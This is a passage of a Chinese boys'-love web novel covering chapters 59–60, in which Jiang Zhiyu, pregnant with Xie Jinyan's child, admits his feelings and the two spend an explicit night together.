江之遇听了他的话,很是意外:“你是说那天你脸色那么不好是因为你嫉妒?” 谢津延默了默,承认:“我不仅嫉妒他,我还嫉妒岭生,你们两人总是在工具屋独处,那次你给宝宝做的礼花炸开,窗外有烟花绽放,我看着你们两个人在那样梦幻的场景下,像结婚一样,我就嫉妒得发狂。” 礼花?梦幻?结婚? 江之遇回想了一下他口中说的景象,脸顿时涨的通红:“我怎么不记得这些,你是不是想多了,这怎么能和结婚联系起来。” “那你能让我叫你的名字吗?”谢津延问。 江之遇呆了呆,没想到他转变得这么快,有些跟不上他跳跃的思维:“怎么又扯到名字了?” 谢津延道:“因为你让祁焰这样叫你,就不肯让我叫,还有你们村的村民,我父母,随便什么人都能叫你的名字,怎么就我不行?” “我们都有孩子了,上过床,接过吻,今天还舌吻了,你为什么不能让我叫你的名字?” 江之遇被他问得懵住了。 尤其是他说的“上过床”和“接过吻”几个字,像几枚炮仗一样轰得他大脑嗡嗡的,让他大脑陷入了一瞬间无法思考的境况。 是啊,为什么不能呢? 江之遇无措地去揪自己的衣摆,这是他习惯性的一个小动作,每次踌躇紧张的时候就会这样。 上次他喝醉时自己就想过这个问题。 江之遇当时认为他们是昭昭的养父和小叔这样的关系,即使有一个孩子,他潜意识里也没有把他当养子小叔以外的人。 他以为他们的关系仅此而已,甚至让自己叫他的名字,江之遇不知道为什么也叫不出口。 就好像一旦叫了彼此的名字,破除“养父”和“小叔”这层联系,就会有什么发生变化。 一种让江之遇现在感到十分慌乱无措,甚至有些焦虑的变化。 “是因为昭昭吗?还是我的父母?”他不安的样子被谢津延看在眼里。 谢津延走过去抱住他:“如果你担心不知道怎么面对他们,我会解决,本来就是我的错,和你无关。” 男人眉目低敛,落日余晖下,他凌厉的五官线条被镀了层和任何时候都不同的柔和。 语气也前所未有的温柔,还有一丝乞求:“我只问你一句,你和我试了这么久,对我有没有一点感觉?哪怕一点也好。” “如果还是没有,我从今天起不再缠着你,会严格履行合约上的承诺,给你想要的生活。” 第59章 第 59 章 和我做 江之遇身形一僵, 怔怔地站在原地,像是被突然石化住了一样。 晚霞渐渐褪去,在远处的山峦涂抹出一条颜色渐变的彩色飘带。 不久前还让他感到视线朦胧, 大脑晕眩的灼烈日光变得黯淡, 太阳往半山腰下没去。 对他有没有一点感觉吗? 江之遇拧眉陷入了片刻的怔思, 失神望着远处的山峦。 不知道平静的生活是从什么时候开始被打破的。 他当着他几位朋友的面突然说喜欢自己那天? 还是乘坐直升飞机来来回回跑, 亦或是更早, 带昭昭出现在祠堂的那个月夜。 江之遇从来没想过以后会和这个男人再有联系。 他们两人就像两条相交线, 因为一场误会相交在一起,凝成一个点。 但很快就会各自向远方延伸,再也不会产生交集。 江之遇给自己设想的生活是, 好好地照顾自己和肚子里的宝宝,继续像在原来的山里那样勤勤恳恳劳作, 把自己的日子一点一点过好。 平凡平淡, 一个乡下普通人。 现在有了宝宝,生活有了期盼, 却也没想更多。 怎么也没想到他的世界会挤进来这样一个身影。 其实从一开始的时候, 江之遇除了感到意外和不自在, 并没有什么排斥反应。 甚至偶尔这个男人带着昭昭过来又离开时,江之遇会感到心里有一丝空落。 因为他没想过自己的生活也能这么热闹,虽然很多时候男人总是会对他说些莫名其妙的话,莫名其妙地堵他,做莫名其妙的事。 但不可否认, 江之遇心里不是没有一丝波动的。 尤其是这个男人每次在外面一副很冷很拽, 不近人情,可偶尔流露出的温和,与昭昭的相处, 会让他感受到一种向往的家庭的温馨。 江之遇以前一直觉得像昭昭小叔这样高高在上,骄矜冷漠的男人,内心一定也是这样的。 可是他私下里的居所是暖色调的,会帮他大哥大嫂带孩子,家里至今都还留有他小侄子走失前的玩具。 江之遇以前总想,这个男人带孩子真的不会把小朋友吓哭吗? 然而昭昭回家没多久就和这位小叔相处的很好。 昭昭戒备心那么强的一个小孩,后来却很喜欢第一眼见到就害怕得往自己身边缩的小叔。 他的聊天头像竟然是自己小侄子几个月大时的肉嘟嘟的小手,虽然最后迫于小侄子的压力换掉。 但江之遇还是有些意外。 还有上次来自己这里给溪源乡的乡民做回馈抽奖活动,让昭昭骑在他脖子上骑大马看热闹。 有那么一瞬,江之遇偏头看他们叔侄俩,不知道为什么,很喜欢这一幕。 他那时脑海里闪过一个念头,孩子如果能有这样一个爸爸也挺好的。 不过,下一秒就被乡民们喧哗热闹的声音驱散。 偶尔回想起,江之遇暗下决心。 等把宝宝生下来身体恢复好,他就努力锻炼,把自己练得结结实实的,让宝宝在他身上骑大马。 他也要轻而易举把宝宝举高高。 江之遇不知道这算不算对这个男人有一点感觉。 除此之外,拿图纸在自己面前给自己构想溪源乡的建设,和他畅想宝宝的未来。 用无比认真的神色和语气向他保证一切都会实现,会完善好。 那是第一次有人给他这样一个盛大的愿景,许下这么郑重的承诺。 江之遇说不清那时是怎样的感觉,只知道内心很是触动。 对未来更加充满了想象和期盼。 他亲自己时也不是一点感觉都没有。 虽然常常让自己无法招架,弄得他晕晕乎乎的,可是……不讨厌就是了。 “我知道了……” 空气中静默了良久。 在绚烂的光线渐渐转暗,山头描上黛影。 谢津延望着眼前男人陷入了持久的沉默当中。 抿着唇,秀气隽美的眉头像上次自己向他吐露心意时一样拧成一团,充满了苦恼和纠结。 果然还是不行吗? 他心头忽然涌入了巨大的失落,和远山沉下去的落日一样,一点一点往下坠。 分明在此之前他还对自己充满了自信,准确来说,他一贯如此,人生从来没有挫败。 谢津延总以为一切不会脱离自己的掌控。 他骄矜自傲,为达目的常常不择手段,也并不以为这样做有什么不对。 却在这一刻,感受到前所未有的挫败和狼狈。 他望着男人在碎金般的余晖下纠结成一团的脸,终于肯承认,自己每一次带给他的都是无尽的苦恼和纠葛。 无论是那晚的强迫,还是明明已经签了协议却又找各种理由插进他的生活。 还有那些自以为是的小把戏。 谢津延终于明白,这里不是名利场,他耍再多的心机和手段也赢不回一颗本就不属于他,也不爱他的心。 他再强迫和坚持也没用。 “一会儿把你送回家,把两只小龟的生态缸铺好我就离开。” 谢津延扯了扯唇角,牵扯起一抹无奈自嘲的笑意,尽量让自己的语气听起来没有异样。 可仍阻止不了心情不断下坠,被一双无形的手大力往下拉扯。 他只道:“从明天起,除了与这里建设项目的对接,我再不会像这样打扰你,纠缠你,更不会再强迫你。” “你和宝宝安心在这里生活,你希望我遵守的约定,我会一条一条全部做到。” 谢津延说完这些话,转身。 高大身躯被落日余晖在地面上拉下一道长长的影子,他也有这样苦涩的时刻。 江之遇怔怔地望着他落寞的身影。 霞光变成了淡粉色,只有靠近山头和地平线的地方还有较为明亮的光。 其余包括头顶,路边树荫,男人背过身去的身影,都开始被暮色笼罩。 他成了一个黑色的剪影,周身还有淡淡的光,却看不清他的表情。 只感受到一股无尽的寂寥,像逐渐隐下去的这束暗淡的余晖,再过不久就要被黑夜吞没。 江之遇揪住他的衣角:“不、不是一点没有。” 谢津延高大的身躯僵了僵,脚步顿住,过了许久,缓缓转过身。 “你说什么?”男人漆黑的眸子凝住他。 江之遇闭了闭眼,揪着他衬衫衣摆的手指在微微颤抖,声音很小声。 “我是说,不是一点感觉也没有。” 谢津延俊逸面庞上的表情怔愣一瞬,随后掠过一抹不可置信。 他以为自己听错了,重复一声:“你是说对我不是没有感觉?” 江之遇鸦羽般的眼睫剧烈颤动,不敢直视他,只羞涩地点了点头:“嗯。” “你说的是真的?”谢津延半晌,还是感到不可置信。 末了,语气苦涩,“你不用安慰我,我说到做到,不会再打扰你和纠缠你,给你和宝宝想要的生活。” “没有安慰。”江之遇依旧不敢直视他的眼睛,声音也开始有些发颤,“我不知道算不算,但你亲我,我不讨厌。” “有时候和你在一起很开心,虽然你总是很凶,但我会期待你带昭昭来找我。” 谢津延听了这句话,身形怔住。 过了许久,黑色瞳孔放大,亮起一点光。 总是吝于笑意的冷峻面孔上从来没有牵扯出这样大幅度喜悦的表情。 他心底像是炸开一簇烟花,又像是被甜蜜的气泡水一瞬填满。 胸腔鼓噪,抑制不住的欢欣挑上眉梢。 “你没有骗我,真是这样觉得?”谢津延极力克制住内心的颤动,用低敛的语气问道。 江之遇被他黑眸闪烁的灼灼视线盯得脸部火热,再次点点头,小声嗯了声。 “那我是不是可以理解为你也有一点喜欢我,你并不是不能接受男人,我还有机会是不是?” 江之遇一怔。 喜欢吗? 他不知道这种情绪是不是喜欢,他没喜欢过人,以前也没有人对他说过喜欢。 不知道喜欢是什么样的心情。 他只讷讷回说:“我不知道,只知道你刚才说要离开,我有点不想你走,还有……你干什么?” “唔……” 江之遇睁大眼眸,连自己都不知道接下来要说什么的话还未说出口,就被男人一把捧住脸低头吻住。 熟悉的气息迅速灌满口腔,触碰过许多次的唇齿交融,辗磨。 他几乎是一下子就被吻得没了力气。 江之遇憋红了脸,想问他怎么突然这样。 然而刚启开一条唇缝,舌尖就立刻被趁势捕捉地勾住。 湿缠,重重舔.吮,像要把他吸进他口中,连人带骨吃掉。 江之遇的眼眸很快蒙了层水雾,双颊飞上红晕,眼尾洇出潮湿的红。 他推了推他,没推动。 迷离视线瞥见远远走过来一个乡民的身影,一下子收拢神智,在搅弄他的唇舌上咬了口。 淡淡的血腥味在口腔中弥散开,江之遇一把推开人:“你干吗突然这么凶地亲我?有人来了。” 谢津延只感到胸腔鼓噪,心脏剧烈跳动,有什么要鼓噪而出。 就连咬在舌头上的痛和口腔里的血腥味都变成了激起这种鼓噪的催化剂。 他沉冽眼眸染上炽热情绪,用他的句式:“我不知道,我只知道我现在特别想亲你,狠狠亲你,把你抱在我身上,从现在亲到明天,后天也行。” 江之遇:“?” 憋红着脸半晌:“不吃饭了吗?而且现在还是在外面,你没看到有人在往这边走吗?” “那回去你给我亲吗?”谢津延掀着眼皮看他,呼出的气息微喘,听得人脸红心跳。 江之遇目瞪口呆,简直震惊。 过了许久,从他面前走开,一脸羞愤:“回去再说。” 两人一前一后走在降下的暮色中。 身后跟着个高大的身影,江之遇脸很红,好几次都感到有手指触碰到他,像是要牵他的手。 他加快脚步,试图甩开对方,却没什么用。 这人好像能控制住这样不紧不慢跟在自己身后的步伐和距离一样,总能有意无意勾到他的指尖。 回到家,把鹅暖石和睡莲叶铺进小乌龟的生态缸。 接着,给垂耳兔、花栗鼠喂食。 再然后,他们俩自己也做了晚饭吃。 吃完饭,一收拾完碗筷,江之遇就被搂在桌子前亲。 这时候天色已经完全降下,山脚下施工的声音停歇,树枝上的鸟叫也不如白日那么持续响亮。 屋子和院子里都亮了灯。 江之遇几乎是被立刻攫住了呼吸。 男人不知道是怎么回事,从在落日下自己说了那句有点不想他离开的话后,他就整个人处在一种极度亢奋和怪异的状态。 搂着自己的胳膊箍得很紧,彷佛下一秒自己就要逃开似的。 伸进来的舌头不放过口腔中每一寸地方,每一处都要舔.弄很长时间。 江之遇其实有点担心自己刚才咬了他,他都不怕痛吗? 都这样了还能亲人。 “你、” “叫我名字。”舌头又被顺势捕捉,还低低吐出这样一句话,粘连出银丝。 江之遇头皮有些发麻,被他箍在怀里抱着,听到这句话,缺氧的脸涨得更红了。 他叫不住口。 主要是这种从舌头到呼吸都被占据的情况也没机会说出口。 而且这种莫名的,每分每秒都要和他唇瓣粘黏在一起的怪异和亢奋渐渐弄得江之遇也有些燥。 他不知道昭昭小叔怎么了,为什么会这么急切。 不知道是不是对方的体温过高,搅弄在口中的气息太烧灼,还是扣在腰身和脖颈上的掌心太过灼烫。 江之遇就感到自己也像是上了火似的。 “阿延……” 不知亲了多久,他终于受不了了。 嘴唇被弄得湿湿呼呼的,舌头也发麻发软,像那晚一样,又开始找不到知觉,只能被肆意摆弄。 江之遇在换气的间隙终于找到一个机会张出口,眸子覆着的水雾潮湿。 他目光涣散地叫出这个他一直叫不出口的名字,想让男人让他缓一缓,不要亲得这么凶这么急。 他有点缺氧,身体也怪怪的。 然而当他无意识叫出这个名字后,箍着他的手臂似是一僵,随后大力收紧,不再亲他了,而是一把将他抱了起来。 身体骤然腾空几秒,江之遇还没反应过来,就被抱坐在了桌子上。 “你刚才叫我什么?”谢津延漆黑的眸子盯着他,手心托住臀部柔软。 江之遇上一秒还被亲得以为自己要缺氧死掉,下一秒就被像以往每次那样被箍在一个狭小的空间。 他睁了睁蒙了一层水雾的眼睛,茫然:“什么?” 谢津延:“你刚才喊我名字了。” 江之遇回忆了一瞬,好像确实无意间喊了一声。 他耳根腾一下烧灼,渐渐找回意识,语气很是羞敛。 “我只是想让你别亲得这么凶,你今天怎么了,我感觉你都快要把我吃掉了。” “和我做好不好?” 突然,眼前人说出这样一句话。 低低的嗓音,染了丝克制着什么的暗哑,灼热气息缠着他的呼吸。 江之遇愣了几秒,一瞬绷直身体。 “做、做什么?” 谢津延胸腔依旧剧烈跳动,刚才那声“阿延”让他再也克制不住这种鼓噪。 有什么要冲破而出。 他极力压制着这种剧烈跳动的心情,指腹抹去被他亲得有些肿的唇瓣上银亮的水痕。 呼吸重,黑眸也覆上一层浓重的情绪。 却突然像十八九岁的青涩少年,眼神不自然闪动,干涩的嗓音也语气闪烁:“就那种,第一次我们在酒店做的事。” “……你是说你要捅我屁.股?” 谢津延:“?” 谢津延反应了好一会儿,才把他口中这句话和自己想的事情对上。 随后脸有些发热地点点头,又急忙补充:“你放心,这次我会温柔,不会像上次那样横冲直撞了。” 江之遇有些傻眼,与此同时,从脸颊到脖子根迅速铺了层靡丽的红。 没想到他说的要和自己做的真是这种事情。 江之遇现在已经知道这个世界男人是可以和男人干那种事了。 也知道了后面原来还可以有这种用法。 然而知道是一回事,做过一次也是一回事,让他再来他还是有些接受不了。 而且他干吗要和他做这种事啊,不是只说接吻吗? 虽然很羞耻,江之遇其实觉得接吻还是挺舒服的。 “我、我不和你做这种事。”江之遇磕磕绊绊道,脸憋得通红,“你那里太恐怖了,捅进来一定会坏。” “可是上次就没有。”男人目光恳切。 江之遇一愣,回忆了一下他说的,十分羞恼:“我不和你说了。” 他抬腿踢了他一脚:“你放开我,我今天也不想和你亲了。” “嘶——”一记疼痛的声音传来,他看眼前男人倒吸一口气,俊逸面庞上的五官拧了拧。 江之遇顿时一慌:“我踢到你哪里了?对不起,我不是故意的,你疼不疼啊。” 他从桌子上下来就要帮他查看有没有踢伤,要不要去拿药膏。 下一秒被压在桌子上,高大身躯覆过来,指骨分明的手指挤进他五指间,扣在身侧,却记得避免压到他的肚子。 灼热气息在耳侧游荡,江之遇听他低低嗓音蛊惑似的。 “和我做好不好?你不是好奇男人和男人为什么生理构造一样却不觉得尴尬吗?我们正好可以探索试试,像之前尝试接吻那样。” 他说完这句蛊惑的话,又有些低落不安似的,也不知道是不是自己听错了。 “主要是你今天告诉我说你对我不是没有感觉,不想我走,我太高兴了,又怕明早醒来你不理我,像上次那样不见了。” “之遇,之遇哥,我错了,我那天其实一点都不想签协议,带你回我那里也是想拖延时间。” 谢津延不知道为什么,明明等到了自己想听的话,被告知对自己并不是一点感觉没有。 他的心情从傍晚欢欣鼓噪到了现在,却又涌出了另一种不安。 他就像是一条丑陋的贪得无厌的蛇,得到了想要的,却贪心不足,迫不及待地想要更多。 而且心底的声音告诉他,他更害怕的是失去,怕这是自己做的一场美好的梦。 睁眼醒来,就会像那个雨后天清的早晨,除了留下的淡淡草木清香的气息,身旁空无一物。 江之遇有些意外。 这是他不曾知晓的男人的心思。 这些时日,他听他说喜欢自己,想亲自己,嫉妒靠近自己身边的人。 却是第一次听他吐露出这样的心声。 原来那天是故意拖延时间的吗? 还有“不见”什么的,还不是因为他当时一边说对男人没有兴趣,一边用那里戳着自己。 江之遇可不要跑快一点。 而且他只是回到了自己居住的乡下,哪有他说的那样不见了? 江之遇心情一时有些复杂,望着男人交织着不安和悔意的眼眸。 他撇开一点视线,语气不自然道:“可以探索一下,但你不能像上次那么凶,不管我怎么求饶都不听。” “我这次一定温柔。”眼前的男人黑眸一瞬亮起,重新染起灼热的目光。 他往自己唇上重重亲了一口,保证道:“我一定听你的,你让我停我就停,如果我不遵守,你可以惩罚我,怎么对我都行,只要别不理我,别再突然消失离开我。” 江之遇有点无语,他能去哪里啊。 而且让自己惩罚他,怎么惩罚,拿鞭子抽他吗? 江之遇在心里咕哝。 随后,脸红红地推了推面前的胸膛:“要、要探索的话是不是应该回房间?” 他现在还被压在堂屋的桌子上,虽然之前也被压在酒店套房的沙发和茶几上做过,可江之遇不想再经历这样羞耻的事情。 谢津延一瞬间收回神,突然冲上头的喜悦让他险些忘了思考。 他一把将纤瘦的身体从桌子上打横抱起。 身体骤然腾空,江之遇惊吓一声,双手下意识搂住眼前人的脖颈。 “你干吗啊,我自己能走路。” 然后被几步抱到了自己卧室的床上。 脊背贴上熟悉柔软的床褥,江之遇来不及调整姿势,就被湿缠急切的吻堵住。 他怎么这么喜欢接吻啊,总也亲不够似的。 “你先等一等。”江之遇推了推他的脑袋,好不容易推开一点,湿软触感抽离,脸颊却又被顺势亲了一口。 江之遇:“……” “能不能先去洗澡啊!” 真是的,不是有洁癖吗,喝醉酒那么迷糊都坚持要去洗澡。 谢津延放过这段时间修养的日渐红润,有了点肉感的可爱脸颊,唇角弯起愉悦的弧度:“你说得对,要先去洗澡。” 他站起身,扯掉自己的领带,想起什么似的拨通一个电话。 “对,半小时之内送过来,不超过四十分钟,一小时也行,无论用什么样的方式。” 江之遇迷惑,等他挂断电话,不解地问:“你在给谁打电话,要送什么?” 谢津延放下手机,告诉他:“安全套,你现在怀着孕,不能不做防护措施,我不能像上次那样不管不顾在你体内了,会有二次受孕的风险,对你的身体也不好。” 江之遇呆了呆,随后脸色爆红。 “那不试了。” 虽然许大夫跟他说过他现在到了可以同房的时期,可还是有些担忧。 谢津延:“?” “你怎么反悔啊?” 江之遇涨红了脸:“我主要担心伤害到宝宝。” “不会的,我会很小心,一定不会让你和宝宝有事,不行我只给你弄。” “你怎么给我弄?”江之遇有些懵。 谢津延正着一张凌厉冷酷的脸:“我可以给你舔。” 江之遇:“???” 大脑转了又转也没听明白他说的是什么意思。 毕竟那天晚上更多的是药效支配下发泄一般最原始的动作。 江之遇还不知道男人和男人之间有很多可探索的模式。 他只忽然有些紧张。 对方去洗澡了,之后,他也去了卫生间。 好奇怪,有点像待宰的猪。 江之遇又好奇,又紧张,后悔一时心软答应和昭昭小叔做这种事了。 敲门声就是在这时响起,一个驻守在溪源乡的秘书处成员送过来一个小盒子。 当上司面无表情从自己手中接过这盒他听宋总助差遣,从山那边的集市买回来的安全套,随后看上司面无表情关上门。 这名秘书处成员在脑海里疯狂尖叫。 啊啊啊啊啊! 他终于知道为什么宋总助交代他们对待小少爷的养父像对待总裁夫人一样。 这竟然就是真的总裁夫人! 这名秘书处成员吃到了一个大瓜,突然觉得驻守这么个山旮旯的地方也没什么不好的。 他就说上司为什么像是把办公地点搬到了乡下一样,几乎天天待在乡下不回去。 原来是留恋温柔乡。 江之遇从浴室出来的时候正好看到昭昭小叔拿了个小盒子回来。 即使知道是秘书处的成员,不会有人透露出去,他还是很羞耻。 “真要试吗?” 江之遇生出了一丝退缩。 下一秒就被再一次抱到了床上。 这次,谢津延就不再听他支支吾吾了,直接堵住他的唇。 江之遇呼吸很快被夺走。 和之前每一次都不一样的感觉,之前是头皮发麻,让他有一种灵魂都要被吸噬掉的错觉,又凶又急。 这次倒真像他承诺的那样,很温柔,很慢。 反复地,缓慢碾磨,很轻地吸,吮,像在品尝什么美味的甜点。 却让人有一种浑身起鸡皮疙瘩的感觉,比头皮发麻还要怪。 而且还不断推自己衣服,亲了亲嘴,又吮其他地方。 在越来越不对劲,角度和位置越来越怪。 江之遇忍不住推开他的脑袋:“你、你到底在干吗啊?” 谢津延抬起头,俊逸五官染了浓重的情绪,嗓音浮上一丝低哑,却平静认真:“你不总说我之前很凶吗,我这次温柔些。” “那也不能一直这样啊……”江之遇不知道男人怀孕除了他了解的那些身体上的变化,还会有哪些,他只知道自己这里现在有些难受。 而且也不知道是不是被眼前人像吃果酱一样,他现在整个人都很奇怪。 像有蚂蚁在体内啃咬,痒痒的,想用手挠,却不知往哪里挠去。 谢津延似是看出来一样,安抚道:“不这样的话一会儿你会很难受。” “那你还要多久呢。”江之遇有些受不了了。 谢津延竟然真的在认真思索:“下面,后面,至少要半个小时吧,也可能更久,不然你有可能受伤,也很干。” 下、下面。 还有……后面??? 江之遇双眼迷蒙了半天,撑了撑身体。 他的肚子现在能看到明显的起伏了,不过平日里被宽大的衣摆遮住,从外人的视角,不怎么能看到。 这会儿衣摆推开,能很清晰地看到那里孕育着一个小宝宝。 江之遇看着男人伏在这个位置,脸庞帅气俊逸,滚了几滴汗珠,顺着流畅的下颌线坠落。 像那天晚上他在清亮月色下看到的一样,有种让人让人心脏一惊,脸红心跳的性感。 他很是惊慌又惊讶地问:“那、那里也可以用嘴吗?” 谢津延喉咙溢出一声干涩短促的嗯,随后道:“总之你交给我就行了,我研究过男人和男人怎么做会更舒服,不会像上次那样只顾我自己了。” “你还研究过?”江之遇睁大眼睛,感到难以置信,“你什么时候研究的这种事情?” 不是,他到底每天能干多少事啊。 谢津延语气平静:“开视频会议无聊的时候,他们有些人汇报工作很枯燥。” 江之遇:“……” 江之遇开始怀疑谢氏集团真的是眼前这个男人年纪轻轻上位,只用了三年时间就发展到如今这样庞大的体量和规模的吗? 然而不等细细思考,江之遇啊了一声,从唇畔发出一记受惊的尖叫。 他声音本就好听,吴侬细语的,带一点上扬的尾音。 即使声音拔高,也不会刺耳,反而有一种挠得人心痒痒的甜腻。 眼下,他因为男人突然的举动发出这声惊叫。 漂亮白皙却覆了层薄茧的手指扯住床褥,江之遇忍不住看过去。 看到男人低下头。 江之遇十分震惊,望着眼前的景象,整个人呆滞了片刻,这样也行吗? 这里不是、不是…… 没多久,更颠覆他的事情冲击他的大脑。 他被折起,总是搅得他缺氧的湿软转了位置,后方。 带来一股十分怪异的感觉。 江之遇一瞬间眼眸睁得很大,终于明白男人一开始说的只给自己做是什么意思。 原、原来男人之间还可以这样。 江之遇再度刷新了认知,被眼前的画面冲击到。 手指揪着他的头发,江之遇无力去推他,感觉身体和意识都在一点一点软化,很快就要溃散。 “阿延,别这样,太奇怪了……直接,还是直接吧。” 这是今晚他第二次叫自己的名字,也是自己内心期待已久的。 谢津延一听他叫自己的名字,胸腔就剧烈鼓噪。 何况还是在现在这种情况下,用这种挠得人心痒痒的,发甜发腻的声音。 谢津延只感到热意上涌,像那晚被下了药一样,身体急蹿出一道电流。 他极力压制住自己的冲动,抬起头,薄唇牵出水色银丝,他抿了抿唇舔去,低声问:“你确定不继续了?” “嗯。”江之遇收紧插进他发丝的手指,并了并腿,“太难受了,一点也不像你说的那样,还不如直接……” 进来两个字消散在越来越小声的甜腻尾音里。 谢津延眸色一瞬变得幽暗,欲望压得很深,呼出的气息也有些重。 他一把将人抱起来,坐到自己腿上,低低嗓音颇有些无奈:“这样的话,到时候你又说我凶怎么办。” “我不说你了。”江之遇眼睫蒙了水雾,眼梢也在发红。 他闭了闭眼睛:“只要不像刚才那样难受,或者我们不做了,就到这里吧,改、改天再试。” “那可不行。”谢津延吻了下他覆上水意的漂亮眼眸,很温柔的样子,像轻羽落在眼睫上。 江之遇被落在眼睛上温柔的吻欺骗到,没去注意到他说的这句话是什么意思。 他短暂地沉溺在这样的温柔中,下一秒,就猝不及防地惊叫了一声,是比刚才更短促尖腻的声音。 江之遇一瞬茫然,不知道发生了什么。 像有一片雾纱突然罩在了头顶上,让他的眼睛还有大脑出现了短暂的茫白。 雪花覆上眼睛,棉絮一样的思絮在脑海中牵扯。 过了许久,才反应过来,羞恼地咬了一口男人的肩膀。 “你、你怎么这样,也不提前和我说一声。” 谢津延吃痛,却更加愉悦。 含了含他小巧圆润的耳垂,低沉性感的声音像是穿过耳膜钻进了颅腔,让江之遇头皮一阵发麻。 “我是按照你说的,听你的话,你说直接就直接。” 一反刚才的隐忍和温柔,反复吸.吮耳垂,瞥到那颗不止一次落到自己视野里若隐若现的小痣,舔.弄过去。 江之遇眼神涣散了一瞬,大脑空白几秒,恍然感觉自己落进了一个圈套,还是自己主动投进去的。 他像后知后觉察觉到危险的兔子,顿时想逃,然而已经晚了。 他被男人牢牢钉在了腿上。 接下来,江之遇无比后悔答应昭昭小叔和他一起探索男人和男人之间的这种事情了。 虽然和那天晚上是完全不一样的感觉,昭昭小叔确实像他承诺的那样,听自己的。 自己让他停,他就停,但是停下来后细细地磨又比不停难受。 江之遇就只能让他继续。 然而每到这种时候,这个男人就会展露出他恶劣的本性,用低低的嗓音不断在自己耳边确认:“真的要继续吗?” 江之遇不得不颤动着眼睫点头:“继续……” 然后就是比上一次更大力的对待,眼角被逼出更多的泪花。 如此反复,将这个男人在这方面的恶劣发挥到了极致。 最后江之遇实在没力气和他纠缠,只能任他摆弄,因为停止之后的继续要付出更大的代价。 他又不能说不试了,不然就是更让他无力招架的对待。 而且要顾及肚子里的宝宝,不能压到肚子,更多的时候,江之遇只能坐着。 有时候是对着他,一边像骑马一样带着自己在不平稳的路面上颠簸,一边还要和未来的宝宝抢东西喝。 虽然根本什么都没有,但咕啾咕啾的,倒也真像挤出来点什么。 有时候把自己背过去,掰着脸颊和他接吻,被重重吮舌头。 不管哪一种,每一次都能到山顶,让江之遇大脑一次又一次茫白。 窗外的夜色越来越浓。 夜色清明,树枝上的鸟儿都沉睡了,只有悦耳的虫子还在暗夜里卖力地叫,奏响悦耳的虫鸣。 当然,一道融进去的还有江之遇的声音。 他控制不住自己,还好他的小院比较偏,独立在一处。 隔壁的小蓁姐母女俩住的屋子离他家有一段距离。 不然他被逼出的这样让他感到十分羞耻的声音一定会被听到。 最后抽空了力气,昭昭小叔顾及他怀孕,不能折腾到太晚,一盒安全套也快用空了。 江之遇已经无力撑起眼皮,只能像破碎的娃娃一样被抱进了浴室。 心里想着,以后绝对不要再被昭昭小叔轻易蛊惑做这种事。 这个男人太坏了。 第60章 第 60 章 我们现在算确定关系了吗…… 被温热的水流冲洗着身体, 全程,江之遇累得一根手指头都不想动。 之后又被抱回了卧室,迷迷糊糊看到昭昭小叔在换床单和被罩。 不知道最后是什么时候睡的, 就记得这一觉睡得很沉, 醒来的时候, 时间已经不早了。 窗外的枝头又响起了悦耳的鸟叫, 似是鸟儿们沉睡过后, 也开启了新一天的生活。 江之遇朦朦胧胧地睁开眼, 盯着头顶上的屋顶,感到眼皮有些沉重,身体也有一种被碾压的感觉。 这种感觉似曾相识, 他眼睛惺忪了会儿,随后感到平日里自己一个人睡的木床有些拥挤。 有什么紧紧箍着他, 身边温度也灼烫, 温热的气息擦着耳垂,伴随着均匀的呼吸声。 江之遇一阵茫然, 缓缓转过头, 看清身旁的景象, 反应过来,已经将人踹到了地上。 “扑通”一声。 睡得正香的人突然跌醒,江之遇也一下子清醒了,连忙探过头。 “你没事吧?” 他一时忘了两个人昨天做了那种事,之后昭昭小叔就直接抱着他在自己的床上睡下, 没回房间。 江之遇平日里都是自己一个人睡, 只有养子来的时候,和养子一块。 昭昭还是个小男孩,占据不了多大的空间。 所以身边的空间陡然被挤占, 他还被紧紧抱着,转头看到一张放大的面孔,他有些没有回过神来。 谢津延从地面上站起,顺便捞起被牵扯下来的薄被。 清早醒来,他的声音浮着很低磁的暗哑,人也有些怔忪:“没事,我没摔到,你醒了,身体难受吗?” 江之遇摇摇头:“还好。” 虽然还是有些不适,但提前做了很多准备。 这个男人给自己弄了很久,不像第一次那样不管不顾的很是强横粗暴,一做就是一整晚。 除了残留的异物挤开的感觉,他的身体没有特别难受。 江之遇现在只有些怔然,盯着从地面上爬起来把被子放好,然后往身上穿衣服的男人。 天光大亮,他卧室的窗户照进来的光线特别明亮。 江之遇还没来得及看时间,但从日光判断,就知道不早了。 这样明亮的光线落在眼前的男人身上,昨晚全部的注意力都在身体感官上,眼睛逼出许多泪水,他的视线大部分时间都是朦胧的。 所以借着这样的日光此刻看清眼前的景象,才会让江之遇感到多么触目惊心。 很结实悍利的肌肉线条,套着衬衫衣袖的手臂臂肌隆起,起伏着很明显的青筋。 昨晚就是这样一双青筋暴起的手臂一直托着自己,抬起,沉下。 让他似是在马背上颠簸,又像是在波浪汹涌的海面上沉浮,不知道什么时候才能降落。 江之遇总也不能把男人这种时候与西装裹身时的样子联系在一起。 那么矜贵俊逸的一个人,一举手一投足似是参加晚宴的贵公子,可是到了这种时候就像换了个人似的。 浑身上下充满了野性,也很恶劣。 江之遇看他很快被衬衫包裹住这些起伏,包括胸膛被自己抓出的红痕。 侧身时肩上一道咬痕惹眼,是昨晚他突然进来时自己承受不住咬的。 现在这道痕迹也被衬衫布料遮住,仿佛一张假面,忽然遮住了他的另一张面孔。 江之遇看他慢条斯理地把衣服穿好,随后俯身在自己额头上亲了一口。 很短暂的触碰,带来熟悉湿软温热的触感,还有亲吻时独有的亲呢的“啵叽”声,但转瞬即逝。 江之遇愣了一下,感受到额间残留的温热触感。 像昨晚他轻吻自己的眼睛一样,蝴蝶飞到眼睫上温柔停栖。 江之遇耳根悄悄爬上一层热意,不知怎么的,心脏也跳动了一下,有一种奇怪的情绪在心底浅浅漾开。 他来不及分辨这种情绪是什么,听昭昭小叔说道:“你再睡一会儿,我去做点早饭。” 江之遇讷讷点头。 他看着这道身影从自己面前走开,直到消失在眼前,耳畔响起洗浴间水流的声音,还是感觉很恍惚。 他竟然和这个男人做了。 和养子的亲小叔发生了这样亲密的关系,这个男人同时又是自己肚子里孩子的亲生父亲。 是他曾打算断绝关系,以后再也不会和对方有任何牵扯的人。 江之遇有点乱乱的。 但是比这样混乱关系更让他感到恍然的是,他对这个男人不是一点感觉都没有。 不然昨晚也不会受他蛊惑,答应和他尝试做这种事。 江之遇觉得自己这下彻底不能算直男了,因为他会被男人亲得身体发软,又和男人再一次发生了肢体接触。 也不能再把捅自己的那个当成棍子。 他晕晕乎乎地在床上坐了一会儿,随后也穿好衣服起床。 低头看到床单都换了新的,脸上一红。 之后去卫生间刷牙,洗脸。 